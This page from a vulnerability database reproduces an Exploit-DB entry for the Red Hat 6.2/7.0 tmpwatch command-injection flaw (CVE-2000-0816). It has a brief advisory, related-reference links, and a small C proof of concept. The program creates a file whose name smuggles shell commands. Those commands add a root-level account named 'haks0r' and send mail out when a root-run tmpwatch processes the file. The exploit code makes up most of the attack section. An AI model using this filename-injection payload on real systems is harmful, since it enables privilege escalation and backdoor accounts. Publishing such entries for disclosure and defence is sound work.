Lucene search
+L

RedHat 6.2/7.0 Tmpwatch - Arbitrary Command Execution

🗓️ 06 Oct 2000 00:00:00Reported by X-ForceType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Vulnerability in tmpwatch allows arbitrary command execution through crafted filenames.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Red Hat Linux
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2000-0816
7 May 200104:00
–cve
cvelist
Cvelist
CVE-2000-0816
7 May 200104:00
–cvelist
euvd
EUVD
EUVD-2000-0808
7 Oct 202500:30
–euvd
nessus
Tenable Nessus
Mandrake Linux Security Advisory : tmpwatch (MDKSA-2000:056)
6 Sep 201200:00
–nessus
nvd
NVD
CVE-2000-0816
6 Oct 200004:00
–nvd
rapid7
Rapid7 Vulnerability Database (full)
CVE-2000-0816: Undefined Security Weakness
7 May 200100:00
–rapid7
securityvulns
securityvulns
ISS Security Advisory: Insecure call of external programs in Red Hat Linux tmpwatch
9 Oct 200000:00
–securityvulns
// source: https://www.securityfocus.com/bid/1785/info

A vulnerability exists in tmpwatch, a utility which automates the removal of temporary files in unix-like systems. An optional component of tmpwatch, fuser, improperly handles arguments to system() library calls. If an attacker creates a file with a maliciously-constructed filename including shell meta characters, and -fuser is run on this file, the attacker may be able to execute arbitrary commands, potentially compromising superuser access if tmpwatch is run with root privileges.

#include <stdio.h>

int main()
{
   FILE *f;
   char filename[100] = ";useradd -u 0 -g 0 haks0r;mail
[email protected]<blablabla";

   if((f = fopen(filename, "a")) == 0) {
      perror("Could not create file");
      exit(1);
   }
   close(f);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00904
40